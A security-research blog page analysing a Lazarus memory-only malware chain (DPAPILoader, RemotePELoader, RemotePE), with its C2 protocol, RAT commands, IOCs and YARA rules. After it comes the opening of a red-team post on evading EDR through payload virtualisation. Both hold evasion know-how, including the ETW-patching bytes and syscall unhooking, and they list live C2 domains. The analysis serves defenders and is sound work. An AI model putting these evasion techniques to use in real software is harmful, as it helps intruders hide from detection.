Reading view

RemotePE: The Lazarus RAT that lives in memory

Authors: Yun Zheng Hu and Mick Koomen

Summary

Last year, we published research1 about a North Korean Lazarus subgroup targeting financial and cryptocurrency organizations, encountered during multiple incident response engagements. This Lazarus subgroup overlaps with activity linked to AppleJeus2, Citrine Sleet3, UNC47364, and Gleaming Pisces5. In one investigation, we observed that the actor had replaced ThemeForestRAT and PondRAT with a more sophisticated memory-only toolset. This follow-up post covers all three malware families from that toolset: DPAPILoader, RemotePELoader and RemotePE.

The three form a chain. DPAPILoader decrypts and loads RemotePELoader from disk using the Windows Data Protection API (DPAPI). RemotePELoader beacons to a C2 server and waits until it receives the next stage: RemotePE, a RAT executed entirely in memory and never written to disk, leaving no filesystem artifacts. At the time of writing, we have not found samples of RemotePELoader or RemotePE on VirusTotal.

The toolset’s environmental keying, memory-only execution, EDR evasion, and low forensic footprint suggest it is purpose-built for long-term observation campaigns. This allows the actor to quietly maintain access over an extended period before moving to a high-impact final objective such as data theft or a large-scale financial heist, consistent with this actor’s known history.
We are sharing samples with detection rules and indicators of compromise (IOCs) to help defenders identify and respond to this toolset in their environments.

Figure 1: The three-stage chain: DPAPILoader decrypts and loads RemotePELoader from disk, which retrieves and executes RemotePE in memory

DPAPILoader: First-stage, environmentally keyed loader

DPAPILoader is implemented as a DLL whose purpose is to decrypt and load an encrypted payload from disk using DPAPI. In the incident response case, it was found as C:\Windows\System32\Iassvc.dll, installed under the service name “Internet Authentication Service.” This service runs Iassvc.dll automatically on system startup, providing persistence for the toolset. The filename and service name are chosen to mimic the legitimate Windows Server Internet Authentication Service (IAS) and its accompanying DLL C:\Windows\System32\iassvcs.dll (note the extra ‘s’ in the filename).

In Listing 1, we list a Windows service record, extracted from the forensic image using Dissect6, that shows the masquerading in detail.

          name (string) = Ias
   displayname (string) = Internet Authentication Service
   description (string) = Internet Authentication Service (IAS) is a component of Windows Server operating systems that provides centralized user authentication, authorization and accounting.
      servicedll (path) = %SystemRoot%\system32\Iassvc.dll
       imagepath (path) = %systemroot%\system32\svchost.exe
imagepath_args (string) = -k netsvcs -p
    objectname (string) = LocalSystem
         start (string) = Auto Start (2)
          type (string) = Service - Own Process (0x10)
  errorcontrol (string) = Normal (1)

Listing 1: Service record from Dissect showing Windows service that runs DPAPILoader

The sample from our investigation first checks whether it is running under C:\Windows\System32\Svchost.exe. It then loops over all files matching the wildcard path C:\ProgramData\Microsoft\Windows\DeviceMetadataStore\en-US*.*. This directory normally contains Microsoft Cabinet files used for device metadata packages. DPAPILoader skips any file beginning with the Cabinet magic bytes (MSCF / 4D 53 43 46), filtering out legitimate metadata packages. Any file that passes this check and is larger than 51200 bytes (50 KiB) is decrypted using DPAPI and loaded into memory using libpeconv7 , an open-source reflective PE loading library.

Across the DPAPILoader samples we observed, the loading mechanism and host process differ, as documented in the Observed Samples section, but the core behaviour is consistent.

DPAPI Encryption

DPAPILoader uses the Windows Data Protection API (DPAPI) to decrypt its payload. DPAPI ties cryptographic keys to a specific user account, with key management handled entirely by the OS. The caller only invokes encrypt and decrypt functions.

This offers the actor two advantages. First, the encrypted payload on disk is never in plaintext: if a sample is uploaded to VirusTotal, it is useless without the victim’s DPAPI keys. Static analysis is effectively impossible without them. Second, each deployment produces a unique encrypted blob, meaning the payload hash differs across victims and evades hash-based detection. The only prerequisite is prior access to the target machine to encrypt and drop the payload, something the actor has at this stage of the intrusion.

After DPAPI decryption, the payload is additionally XORed with 0x8D before loading. This is consistent across all observed DPAPILoader samples. This approach is an instance of environmental keying8, where malware is bound to a specific victim environment and cannot be analysed or executed elsewhere.

Observed Samples

We identified three DPAPILoader samples spanning roughly nine months, with differences in loading mechanism, host process, and payload storage.

The first sample (Iassvc.dll) is loaded as a Windows service via Svchost.exe, the second (sspicli.dll) is sideloaded by ESET’s edp.exe, and the third (wmiclnt.dll) uses the WmiOpenBlock export with no identified host process.

PE timestampDLL nameExportString obfuscation
2023-11-14Iassvc.dllServiceMainXOR 0x8D
2024-02-21sspicli.dllInitSecurityInterfaceWXOR 0x8D
2024-08-21wmiclnt.dllWmiOpenBlockDPAPI + XOR 0x8D
Table 1: Observed DPAPILoader samples by PE timestamp

The first two samples load the DPAPI-encrypted payload from the DeviceMetadataStore path. The third embeds the encrypted payload directly in the DLL, removing the dependency on a separate file on disk.

The second and third samples were found on VirusTotal. Without the victims’ DPAPI keys, we are unable to decrypt them. Both are a practical demonstration of the environmental keying discussed earlier.

The first sample comes from our incident response case, where a full forensic image of the compromised machine gave us access to the victim’s DPAPI keys, allowing us to trivially decrypt the payload using a Dissect9 shell:

Figure 2: Decrypting the DPAPI-encrypted PE payload using Dissect

It turns out the decrypted payload is another loader, which we named RemotePELoader.

RemotePELoader: Second-stage, operator-controlled loader

RemotePELoader is decrypted from the DPAPI payload on disk and is responsible for retrieving the core module from a C2 server and loading it into memory. Both the loader and the core module share a configuration file stored on disk, and are designed to work as a pair, deployed together as part of the same installation. Upon execution, RemotePELoader spawns a thread that first applies evasion techniques, reads the configuration, and then enters a C2 polling loop. It has no RAT functionality of its own; its sole purpose is to load the next stage.

HellsGate & EDR Evasion

RemotePELoader applies two evasion techniques before performing any further actions. The first is HellsGate10 (specifically the TartarusGate11 variant), a technique that dynamically resolves Windows syscall numbers at runtime. It scans the loaded ntdll.dll for syscall stubs to obtain the numbers for NtOpenSection, NtMapViewOfSection, NtUnmapViewOfSection, NtProtectVirtualMemory, and NtClose. Using these direct syscalls, RemotePELoader iterates the Process Environment Block’s module list and remaps each DLL from its \KnownDlls section object, a kernel-maintained mapping of trusted system DLLs, replacing any hooked in-memory copies with clean ones and effectively unhooking all userland security product hooks.

The second is patching Event Tracing for Windows (ETW), a Windows mechanism used by security products to monitor process behaviour at runtime. RemotePELoader patches function EtwEventWrite() in the current process using a well-known technique, overwriting it with the following bytes.

48 33 c0          ; XOR    RAX, RAX
c3                ; RET

Listing 2: Bytes written to EtwEventWrite to disable ETW event generation

This causes EtwEventWrite to immediately return 0, suppressing all ETW event generation and preventing security tooling that relies on ETW telemetry from receiving events.

Together, these two techniques hinder detection by endpoint security products that rely on userland API hooking or ETW telemetry.

Configuration

After applying evasion techniques, RemotePELoader reads a configuration file using the same wildcard search as DPAPILoader:

\??\C:\ProgramData\Microsoft\Windows\DeviceMetadataStore\en-US*.*

The configuration file is smaller than the encrypted RemotePELoader payload, so it identifies it by looking for a file that does not begin with Cabinet magic bytes and is smaller than 20480 bytes (20 KiB). When found, it decrypts the contents using DPAPI and XORs all bytes with 0x8D.

Figure 3: Decrypting the DPAPI-encrypted config using Dissect

The configuration file structure is depicted in Listing 3.

struct RemotePEC2Config 	// sizeof=0xb38
{
  int dwReconnectMinutes;	// minutes to wait after C2 session ends
  int dwSleepUntilEpoch;    // UNIX epoch wake-up timestamp
  int dwSleepMin;		    // minimum sleep time between C2 polls
  int dwSleepMax;           // maximum sleep time between C2 polls
  wchar_t wsC2Url_1[260];   // C2 URL (up to three)
  wchar_t wsC2Url_2[260];
  wchar_t wsC2Url_3[260];
  wchar_t wsProxy[260];     // optional proxy address
  char sProxyUserName[128]; // optional proxy username
  char sProxyPassword[128]; // optional proxy password
  wchar_t wsUserAgent[260]; // configurable HTTP user-agent string
};

Listing 3: RemotePE C2 configuration structure on disk

Since both RemotePELoader and the configuration file reside in the same directory, a size check is used to distinguish between them, without it, the configuration file could be mistakenly loaded as a PE, or the PE read as a configuration file. This shared logic, combined with the identical cryptographic scheme, further ties the two loaders together as a coordinated toolset.

C2 Communication

After reading the configuration, RemotePELoader enters a loop until it receives a PE payload from the server. On the first run it sleeps until the configured wake-up timestamp and on subsequent iterations it sleeps for a random interval within the configured bounds. It then finds an active C2 server via a check-in request and keeps polling for a PE payload. If no payload is returned, it restarts the loop. Once a payload is received, it sends a confirmation request to the active C2, loads the retrieved PE payload using libpeconv, and exits the thread.

RemotePELoader communicates with the C2 server over HTTP, using POST requests. Host information is passed via the HTTP Cookie header, with a check-in request identified by the presence of at_check=true. The server responds with a JSON object where the odata.metadata key contains the C2 session ID. Once a session ID is obtained, subsequent requests replace the at_check cookie with ai_session, set to the session ID received from the server. The table below documents each cookie field used in the check-in request.

Cookie nameCookie value description
MSCCRandom buffer with regex [0-9a-z]{24} prepended to the string “-c1=2-c2=2-c3=2”
MicrosoftApplicationsTelemetryDeviceIdBot ID
MSFPCRandom numbers with format string “%08lx%08lx%08lx%08lx”
HASHRandom number with format string “%04x”
LVCurrent year and month in YYYYMM format
VConstant number
LUEpoch of current time
MS0Random numbers with format string “%08lx%08lx%08lx%08lx”, likely to indicate RemotePELoader request
at_checkIndicates a check-in request (no session yet)
ai_sessionSession ID from C2 after initial check-in
Table 2: RemotePELoader check-in request Cookie fields

Once a C2 session is established, RemotePELoader polls the server at random intervals between the configured minimum and maximum sleep times. In our tests, the server did not immediately return a payload, suggesting an actor-in-the-loop model where the operator manually decides when to deliver it. When the operator delivers the payload, the server returns a JSON object where the odata.metadata key contains the PE payload, AES-GCM encrypted and Base64-encoded.

Figure 4: RemotePELoader C2 session showing the server returning the encrypted PE payload

All messages exchanged with the C2 server are AES-encrypted, except for the initial check-in response containing the session ID. The AES key and nonce for each message are derived using SplitMix64, seeded with a random value generated by a Mersenne Twister PRNG. Each message is structured as follows, with the seed prepended to the AES-GCM tag and ciphertext:

struct C2Message {
    uint64_t aes_seed;          // SplitMix64 seed for AES key and nonce
    unsigned char aes_tag[16];  // AES authentication tag
    unsigned char ciphertext[]; // AES-GCM encrypted data
};

Listing 4: C2 message structure used by RemotePELoader and RemotePE

The decrypted payload is RemotePE, a fully-fledged RAT that runs entirely in memory, covered in the next section.

RemotePE: Final-stage, in-memory RAT

RemotePE is a fully-fledged RAT that we retrieved directly from a RemotePELoader C2 server by emulating its C2 protocol.

Written in C++ using object-oriented programming, RemotePE is a multithreaded program that appears to share a codebase with RemotePELoader. Both components share the same on-disk configuration file, this is by design: if an operator updates the configuration and the host reboots, both components need to read the same updated values to maintain access. Furthermore, C2 logic, including session handling, AES-GCM encryption, and the C2Message structure are equal. Also, in the samples from our investigation, RemotePELoader and RemotePE each verify they were loaded by the previous stage by checking that lpReserved == 0x1000 in DllMain, enforcing the integrity of the chain.

Control flow

RemotePE starts two threads at startup. The first, IChannelController, handles C2 communication. The second, IMiddleController, processes commands received from the C2 server. When the C2 server ends the current session, both threads stop and RemotePE either exits or sleeps until the configured wake-up time.

The IChannelController thread first locates an active C2 server and then polls it for commands. Between each polling iteration, the thread sleeps for a configured random interval, or wakes immediately if command output is available. In that case, the output is sent back to the C2 server without waiting for the next polling interval, allowing the operator to issue the next command promptly. Received commands are pushed to a queue consumed by IMiddleController.
The IMiddleController thread processes commands from the queue and pushes output back to a queue read by IChannelController. Each C2 message from the server consists of a list of entries delimited by $, where each entry is a bundle of commands (see the C2 Protocol section). Commands can optionally be executed in a separate thread, and all output is merged into a single reply sent back to the server.

While sleeping, RemotePE also checks for the existence of a Windows event named 554D5C1F-AABE-49E4-AB57-994D22ECED28. If present, it wakes immediately and restarts both controller threads. Neither RemotePE nor the loaders create this event, implying it is created externally as an out-of-band mechanism to wake RemotePE on demand.

Commands

RemotePE supports six categories of commands, identified by their C++ runtime type information (RTTI) class names. The table below lists each class along with the functionality it exposes. An operator invokes a function by specifying its class ID and function ID, along with any required parameters.

Table 3: RemotePE commands with their RTTI class names
Internal class name Class ID Function ID Description
IConfigProfile 0 0 Get the current C2 configuration
1 Set the C2 configuration
IConsole 1 0 Get the current working directory
1 Change the current working directory
2 Execute a command and return its output
3 Get loaded modules (DLLs)
4 Register a new module (DLL)
5 Invoke a registered module’s function pointer with arguments
6 Unload a module (DLL)
IFileExplorer 2 0 Get information on the drives of the system
1 List the files in a directory
2 Delete a file
3 Rename a file
4 Read from a file
5 Write to a file
6 ZIP a file or directory and return it as data
IProcess 3 0 Get process listing
1 Kill process by ID
2 Search for a file in the directories of a given environment variable
3 Create a process
4 Create a process as a user
ITimer 4 0 Sleep for X minutes, non-persistent
1 Sleep for X minutes, and persist this also in the C2 configuration on disk
2 Exit RemotePE
IPing 5 N/a A no-op command

Most commands provide standard RAT functionality. One notable exception is the file deletion command, which overwrites each file with constant bytes seven times before renaming and deleting it, a secure deletion pattern consistent with PondRAT and POOLRAT, two malware families previously associated with this actor. Unlike some implementations that overwrite with random bytes, RemotePE uses constant bytes, though the multi-pass overwrite and rename pattern is shared.

RemotePE also implements a plugin system that allows the operator to dynamically register DLL payloads at runtime. These payloads must be valid both as a Windows DLL and as reflective shellcode, with the DLL entry point re-executed to unload them: a dual-format requirement and unload behaviour that matches pe_to_shellcode12 , which refers to such payloads as “shellcodified DLLs”. RemotePE can hold multiple plugins simultaneously, which the operator can invoke via the IConsole commands described above.

C2 Protocol

Similar to RemotePELoader, the IChannelController thread begins by locating an active C2 server via a check-in request, then polls it in a loop. The request format is largely identical to that of RemotePELoader, with one exception: RemotePE uses the MUID cookie instead of MS0, which the C2 server likely uses to differentiate between the two families. Session handling is identical to RemotePELoader. For a full description of cookie fields, see the RemotePELoader C2 Communication section.

Though RemotePE communicates with the same C2 server as RemotePELoader, the protocol diverges after the initial check-in. The outer message structure is identical to RemotePELoader’s C2Message (seed, AES-GCM tag, and ciphertext). The decrypted ciphertext, however, contains a RemotePE-specific structure, see Listing 5.

struct C2Command {
    uint32_t payload_size;
    uint16_t class_id;    	 // class ID from the commands table
    uint16_t function_id; 	 // function ID from the commands table
    uint32_t request_id;  	 // used to match responses
    unsigned char payload[]; // variable length, payload_size bytes
};

struct C2CommandBatch {
    uint16_t command_count;
    C2Command commands[];	 // variable length, command_count entries
};

Listing 5: RemotePE C2 command structures

Command responses sent back to the server use the structures defined in Listing 6.

struct C2CommandResponse {
    uint32_t response_size;
    uint32_t error;	   	      // error code, if any
    uint32_t request_id;  	  // used to respond to a C2Command request
    unsigned char payload[];  // variable length, compressed, response_size bytes
};

struct C2CommandResponseBatch {
    uint16_t command_count;
    C2CommandResponse commands[];	 // variable length, command_count entries
};

Listing 6: RemotePE command output structures

When IChannelController receives a C2CommandBatch, it decrypts it and pushes the commands to the queue consumed by IMiddleController, as described in the Control Flow section. Command output is compressed using MSZIP via the Windows Cabinet compression API (cabinet.dll).

Figure 5: RemotePE command parsing

Figure 5 shows the C2 server command parsing of the IMiddleController thread. At first, command batches can be delimited by the “$”, where each command of a batch is traversed. After running the commands, all command outputs that were not run as a separate thread are merged into a C2 reply that is sent back to the server.

Command output is compressed, and the whole C2CommandResponseBatch structure is AES-GCM encrypted and Base64-encoded, before being sent back to the C2 server in the armAuthorization JSON key. An example of this is shown in Figure 6. The JSON keys and HTTP cookie names used within the C2 protocol, e.g., armAuthorization, odata.metadata, and MSFPC are also used within the Microsoft ecosystem.

Figure 6: RemotePE returning command output to the C2 server via the armAuthorization JSON key

A example Python script to decrypt C2 command responses can be found here:

Figure 7: Example of a decrypted C2 command response

Retrieved Samples

We obtained four RemotePE samples: three retrieved from active C2 servers and one recovered through forensic analysis. The C2 servers were identified during the incident response engagement or through fingerprinting. Ordering the samples by PE compile timestamp reveals incremental changes across versions, primarily in the config loading mechanism and bot identification method, suggesting active development between mid-2023 and mid-2024.

PE timestampConfig loadingBot ID
2023-07-04Find DPAPI encrypted config on diskSOFTWARE\Microsoft\SQMClient\MachineId
2023-10-17C2 URLs passed via lpThreadParameter, fixed User-AgentSOFTWARE\Microsoft\SQMClient\MachineId
2024-04-18Find DPAPI encrypted config on diskSOFTWARE\Microsoft\SQMClient\MachineId
2024-05-11DPAPI config path passed via lpThreadParameterSoftware\Microsoft\Cryptography\MachineGuid
Table 4: Observed RemotePE samples by PE timestamp

The 2023-10-17 sample does not use DPAPI and instead receives its C2 urls directly via lpThreadParameter, parsed using CommandLineToArgvW. Unlike the other samples, it also performs HellsGate syscall resolution and ETW patching itself, rather than relying on RemotePELoader to do so. This suggests that early versions of RemotePE were more standalone and not exclusively tied to the DPAPILoader/RemotePELoader chain, capable of being deployed by any loader passing the configuration as a thread parameter.

The table below shows the time between our initial check-in and RemotePE payload delivery across six successful retrieval sessions, along with the payload delivery time converted to Korea Standard Time (KST, UTC+9).

C2 session started (UTC)Payload returned (UTC)DeltaPayload returned (KST,UTC+9)
2024-02-07 00:212024-02-07 01:0948 min2024-02-07 10:09
2024-12-09 08:482024-12-09 09:0820 min2024-12-09 18:08
2024-12-10 23:572024-12-11 00:4649 min2024-12-11 09:46
2025-01-10 08:212025-01-10 08:210 min2025-01-10 17:21
2025-02-10 21:562025-02-10 23:0367 min2025-02-11 08:03
2025-07-09 11:572025-07-10 07:5020 hrs2025-07-10 16:50
Table 5: RemotePELoader C2 session and RemotePE payload delivery timestamps

Many other sessions yielded no payload. All six successful payload deliveries fall within daytime hours in the UTC+9 timezone (08:00–19:00 KST), as shown in Table 5.

Infrastructure

The RemotePE C2 infrastructure is hosted on Namecheap shared hosting, consistent with what we observed in earlier campaigns involving ThemeForestRAT and PondRAT. As with those campaigns, the use of shared hosting makes IP-based blocking ineffective, since the same server hosts legitimate domains.

Through fingerprinting of C2 server characteristics, we identified additional domains and servers beyond those found during the incident response engagement. These are listed in the IOCs section.

At the time of writing, several C2 servers we identified never returned a payload during our emulated sessions, though some remain live. Others that had previously delivered RemotePE appear to no longer do so. Whether this reflects the infrastructure going dormant, being abandoned, a change in C2 protocol, or the actor detecting unexpected connections is unclear.

Conclusion

The DPAPILoader, RemotePELoader, and RemotePE toolset represents a deliberate effort to minimise forensic footprint. A RemotePELoader sample from disk uploaded to VirusTotal is useless without the victim’s DPAPI keys. Furthermore, by combining environmental keying via DPAPI with fully in-memory execution of the final payload, the actor ensures that forensic imaging of the disk will not yield recoverable artifacts of RemotePE.

The actor-in-the-loop delivery model and the toolset’s low detection rate (neither RemotePELoader nor RemotePE appeared on VirusTotal prior to this publication) suggest this toolset may be reserved for high-value targets where long-term, stealthy access is the objective, consistent with this Lazarus subgroup’s known focus on financial and cryptocurrency organisations.

Defenders should focus on host-based detection. The most reliable indicators are DPAPI-encrypted blobs in unexpected directories, in our case this was the DeviceMetadataStore directory, though this can vary. Another indicator is to look for suspicious DLLs masquerading as legitimate Windows services or sideloaded DLLs.

For network-based detection, SNI fields and DNS queries for known C2 domains are the most actionable opportunities. Pivoting on Namecheap shared hosting infrastructure also proved effective in identifying additional malicious C2 servers during our investigation. Organisations with TLS inspection can detect the characteristic cookie fields and JSON keys, though care should be taken to avoid false positives given the traffic’s close resemblance to legitimate Microsoft traffic.

We are sharing the samples, including decrypted versions that would otherwise remain inaccessible due to environmental keying, both for preservation and to help defenders detect and respond to this toolset. YARA rules and IOCs are provided below.

Indicators of Compromise

If you have any questions or need assistance based on these findings, please contact Fox-IT CERT at cert@fox-it.com. For urgent matters, call 0800-FOXCERT (0800-3692378) within the Netherlands, or +31152847999 internationally to reach one of our incident responders.

Domains

DomainFirst seenLast seen
livedrivefiles[.].com2023-07-172025-07-27
aes-secure[.]net2023-09-18*
azureglobalaccelerator[.]com2023-09-18*
msdeliverycontent[.]com2024-02-192026-05-09
akamaicloud[.]com2024-02-192025-02-14
intelcloudinsights[.]com2024-04-132026-04-23
devicelinkintel[.]com2024-08-16*
Table 6: RemotePE(Loader) C2 domains. Entries marked with * in the “Last seen” column were still active at the time of writing.

Host based indicators

TypeIndicatorComment
file.nameIassvc.dllFilename used for DPAPILoader
event.name554D5C1F-AABE-49E4-AB57-994D22ECED28RemotePE specific event name
Table 7: RemotePE host-based indicators

Samples

digest.sha256Comment
4f6ae0110cf652264293df571d66955f7109e3424a070423b5e50edc3eb43874DPAPILoader (Iassvc.dll)
aa4a2d1215f864481994234f13ab485b95150161b4566c180419d93dda7ac039DPAPILoader (wmiclnt.dll)
159471e1abc9adf6733af9d24781fbf27a776b81d182901c2e04e28f3fe2e6f3DPAPILoader (sspicli.dll)
7a05188ab0129b0b4f38e2e7599c5c52149ce0131140db33feb251d926428d68RemotePELoader (decrypted from disk)
37f5afb9ed3761e73feb95daceb7a1fdbb13c8b5fc1a2ba22e0ef7994c7920efRemotePE (2023-07-04)
6b33d20196267b0d64bca815ca863558d26b17cee77caf62a6cce8eae555ac8dRemotePE (2023-10-17)
62e040a32aac2d2faa8d2bffa2cf7ab662228cebf9bb78eaa0a633c0b729d119RemotePE (2024-04-18)
710f15302859c7af1c1e25219d704841b3fdbc48f16a5a574d5ab6cf4f4842e8RemotePE (2024-05-11)
Table 8: Samples observed related to this activity

YARA Rules

rule Lazarus_DPAPILoader_Hunting {
  meta:
    description = "Hunting rule to detect DPAPILoader, a loader used to load RemotePE."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $msg_1 = "[!] Could not allocate memory at the desired base!\n"
    $msg_2 = "[!] Virtual section size is out ouf bounds: "
    $msg_3 = "[!] Invalid relocDir pointer\n"
    $msg_4 = "[-] Not supported relocations format at %d: %d\n"
    $msg_5 = "[!] Cannot fill imports into 32 bit PE via 64 bit loader!\n"
 
  condition:
    any of them and pe.imports("Crypt32.dll", "CryptUnprotectData")
}
 
rule Lazarus_RemotePE_C2_strings {
  meta:
    description = "RemotePE strings used for C2."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $a = "MicrosoftApplicationsTelemetryDeviceId" wide ascii xor
    $b = "armAuthorization" wide ascii xor
    $c = "ai_session" wide ascii xor
 
  condition:
    uint16(0) == 0x5A4D and all of them
}
 
rule Lazarus_RemotePE_class_strings {
  meta:
    description = "RemotePE class strings."
    author      = "Fox-IT / NCC Group"
 
  strings:
    $a = "IMiddleController" ascii wide xor
    $b = "IChannelController" ascii wide xor
    $c = "IConfigProfile" ascii wide xor
    $d = "IKernelModule" ascii wide xor
 
  condition:
    all of them
}

rule Lazarus_RemotePE_DPAPI_Encrypted_config {
  meta:
    description = "Detects RemotePE DPAPI-encrypted config on disk"
    author      = "Fox-IT Security Research Team"
  condition:
    filesize == 3094
    and uint32(0) == 0x00000001      // DPAPI blob version = 1
    and uint32(0x8E) == 0x00000B40   // dwDataLen = 0xB40 (padded config)
}

Listing 7: YARA rules for DPAPILoader, RemotePELoader and RemotePE

References

  1. https://blog.fox-it.com/2025/09/01/three-lazarus-rats-coming-for-your-cheese ↩
  2. https://securelist.com/operation-applejeus/87553/ ↩
  3. https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/ ↩
  4. https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise ↩
  5. https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/ ↩
  6. https://docs.dissect.tools/en/stable/ ↩
  7. https://github.com/hasherezade/libpeconv ↩
  8. https://attack.mitre.org/techniques/T1480/001/ ↩
  9. https://docs.dissect.tools/en/stable ↩
  10. https://github.com/am0nsec/HellsGate ↩
  11. https://github.com/trickster0/TartarusGate ↩
  12. https://github.com/hasherezade/pe_to_shellcode/releases/tag/v1.2 ↩

  •  

Red Teaming in the age of EDR: Evasion of Endpoint Detection Through Malware Virtualisation

Authors: Boudewijn Meijer && Rick Veldhoven

Introduction

As defensive security products improve, attackers must refine their craft. Gone are the days of executing malicious binaries from disk, especially ones well known to antivirus and Endpoint Detection and Reponse (EDR) vendors. Now, attackers focus on in-memory payload execution for both native and managed applications to evade defensive products. Meanwhile, defensive technologies are becoming increasingly sophisticated, which is forcing attackers to further adapt. In times of such an arms race, how does an attacker stay ahead? And how can malware be future-proofed to evade the sophisticated EDR systems that currently exist and are actively being developed?

This blog post reviews the evolution of one of Fox-IT’s evasive tools, designed to aid in payload delivery during Red Teaming engagements. We will touch on the tool’s history and its future potential in the face of offensive and defensive progress.

Historical Perspective

The core of the arms race between malware and antimalware is as follows: antimalware must classify arbitrary programs, in memory or at-rest, as either benign or malicious while operating under a set of constraints. The products are constrained by the amount of performance a user or customer is prepared to surrender in terms of CPU time, memory or bandwidth while the classification takes place, and by how many false-positives the product generates. If the product is too resource intensive, a customer will complain it is slow. If it quarantines important documents, it potentially does more harm than good. These constraints shape and limit each step in the evolution of antimalware products. Not only AV vendors need to worry about performance when writing tools. Malware authors need to take execution speed, or other system changes, into account when deploying malware. Take for example the recently uncovered XZ1 backdoor that was spotted by a software engineer due to an increase in login time from 0.2 to 0.8 seconds. Had the authors of this piece of code not observably changed the behavior of the system, the backdoor would have likely been deployed successfully.

Since the early days of viruses circulating on floppy disks, writing undetected malware has been a cat-and-mouse game between attackers and defenders. Originally, antivirus software focused strictly on true-positive detection of viruses on the basis of signatures and patterns in a program’s instructions. Absent a mistake in the signature database, a unique signature match guarantees a true-positive match of a malicious sample after which the malicious file can be removed or quarantined. This method of detection strongly adheres to the constraints placed on antimalware products, because simple pattern matches are performant and true-positive detection is almost guaranteed.

For malware authors, the solution was simple: to evade detection, the virus must be made impossible to detect through a unique pattern. This may be achieved by changing the code, or by encrypting the code and decrypting it at runtime. If you automate this, you get what is called a packer: a tool that encrypts, compresses or otherwise changes a virus to evade detection. A packer changes the majority of the code in the virus and adds a stub to the code. This stub is often the first piece of code that is executed when the program is launched. Its job is to undo all changes previously made to the original code (e.g. compression or encryption). After all changes are reverted, execution will be passed to the original code. This stub can also make use of anti-reversing/anti-tampering code that attempts to protect the original code from prying eyes.

This reduces the amount of “attack surface” for signature creation for samples that are on the disk or otherwise stored at rest. This method is also used to compress binaries for distribution, allowing for smaller release packages. Therefore, not all compressed binaries can be marked as malicious.

However, even very small unpacker stubs may match a signature that can be uniquely tied to the packer itself. Combining this signature with some rules related to the amount of entropy in a file, a packer can still be detected with a high degree of accuracy. At this point, the antimalware solution has evolved to utilize metadata about a file, such as entropy, obtaining the ability to detect packed files but at the cost of a higher false-positive rate.

The next step in the arms race for malware authors is to eliminate the potential for a signature match in the unpacker stub. This means that the stub must consist of different instructions each time a new sample is created. An important insight is that “what the code does” and “how the code looks” are not 1:1 mappings. There are infinitely many ways to write down computer code to achieve a certain effect or result. There are therefore infinitely many ways in which a particular unpacking algorithm can be written. A packer that is designed to create the unpacking stub that looks different each time can be called polymorphic. The algorithm or code that performs the changes is called a polymorphic engine2.

Combining a packer with a polymorphic engine eliminates the “attack surface” for simple signature matches of malware at-rest. Fox-IT has written and maintained two polymorphic packers like this since 2015. Although they still produce good results against modern EDR, even these tools are getting more and more difficult to sneak past defenses. That’s because there’s a conceptual flaw in the polymorphic packer: the original malicious code is still decrypted at some point in order to execute. If antimalware products can time the moment to start scanning for malicious patterns when the packer has finished decoding the malicious code, then detecting malware becomes easy again.

Modern operating systems and processors try to ensure that not all data in a computer’s memory can be executed as code for safety reasons3. Particularly, systems are typically designed to prevent the execution of code from writable pages. Therefore, a virus or malware sample that wants to decrypt and/or decompress its own code must first make the changes in writable memory pages. After, the virus changes the page protection to readable and executable and transfers control to the newly modified executable memory. Antimalware products equipped to analyze the behavior of other programs at runtime make use of behavioral patterns like this to decide when to scan the memory of a process for malicious patterns. Because the memory, once decrypted, cannot be changed anymore due to the aforementioned limitations, scanning a process after making memory executable is the ideal time to spot malicious patterns.

Antimalware products that are equipped with rules that generate additional signals to determine if a program is malicious or not, are said to employ “heuristics”. Conceptually, antimalware products have achieved a comprehensive set of features to detect malware execution. The evolutions we’ve seen since the early days of these feature complete products can all be understood as attempts to loosen or lift the constraints set out above: “Cloud-based protection” runs resource intensive heuristics on someone else’s computer; adding human oversight, the “R” in “EDR” lowers the impact of a false-positive and brings humans into the detection and response loop.

How then, can a Red Team smuggle their malware past these new and advanced defenses? In the past, a virus writer might employ what is called a “metamorphic” engine4. This is an algorithm designed to re-write the entire virus each time it infects a new file, including the entire metamorphic engine itself. Using it ensures that there is never one ‘true’ virus sample that can be detected with a static signature; each copy of the virus is completely different. With a tool like this you would not need a packer, because there are no static patterns that can ever be uniquely tied to your virus. However, the explosion in modern software complexity and the requirement for malware to work on a variety of systems

Hiding From Analysis: Virtualisation

To hide from both static and dynamic analysis of payloads, the generated sample must be resilient to code inspection and code flow analysis. If the real instructions are not revealed to an observer, hardly any conclusions can be drawn from the outer shell. If this is achieved, defensive products would be met with the following limitations when inspecting the payload:

  • Difficult to observe instruction patterns;
  • Difficult to patch instructions;
  • Difficult to ignore instructions;
  • Difficult to predict behavior.

Hiding instructions is not something new. Products like VMProtect5 cloak parts of the code by embedding a virtual machine and generate unique instructions to be executed on this VM. Code that is to be virtualized must be identified either by a marker added to the source code or by the presence of a PDB file containing the symbols. This requirement is something that cannot always be met when using third-party tools. Additionally, this type of protection is aimed at protecting specific functions, like license key checking algorithms, limiting the use for an adversary. Lastly, using existing tools can have a negative impact on the detection ratio, as these products are heavily researched and can contain static signatures like hardcoded section names.

Considering the benefits of a virtualisation layer, however, it is clear that this technique is very powerful.

Creating a Custom Virtualisation Layer

It was decided that a virtualisation layer should be created. This layer consists of a virtual machine implementing opcodes6, and bytecode7 executing on the virtual machine. The virtualisation layer that was to be created must match the following requirements and limitations:

  1. Bytecode instructions are executed sequentially;
  2. Bytecode instructions are hidden before and after execution;
  3. The instruction set supports basic x86-64 instructions only;
  4. The virtual machine must provide an interface to the system API;
  5. The virtual machine implementation must be simple and position independent to support morphing;
  6. The virtualisation layer must work without access to source code or debug symbols.

Creating a virtualisation layer started with a design of the instructions to be executed, the virtual machine, and the supported instruction set. Additionally, the layout of the final payload was created where all data must be present in a position independent format and could be executed like shellcode. This allows the payload to be embedded in other executable formats (e.g. executables or DLLs), and allows for dynamic execution when staging malware.

For example, the following layout would allow for the above functionality. In this example, the virtual machine must start with a correcting stub that correctly sets the virtual machine argument registers to their respective values:

Example of a data structure containing all required building blocks within position independent code.

The Anatomy of an Instruction

To keep the virtual machine architecture simple, an instruction format was created to be consistent in length between instruction and operand types. This design decision allows the omission of a Length Disassembler Engine (LDE)8, and can simply use the instruction pointer as an index to the current instruction. All information present in normal, non-SSE9/AVX10 x86 instructions must be included.

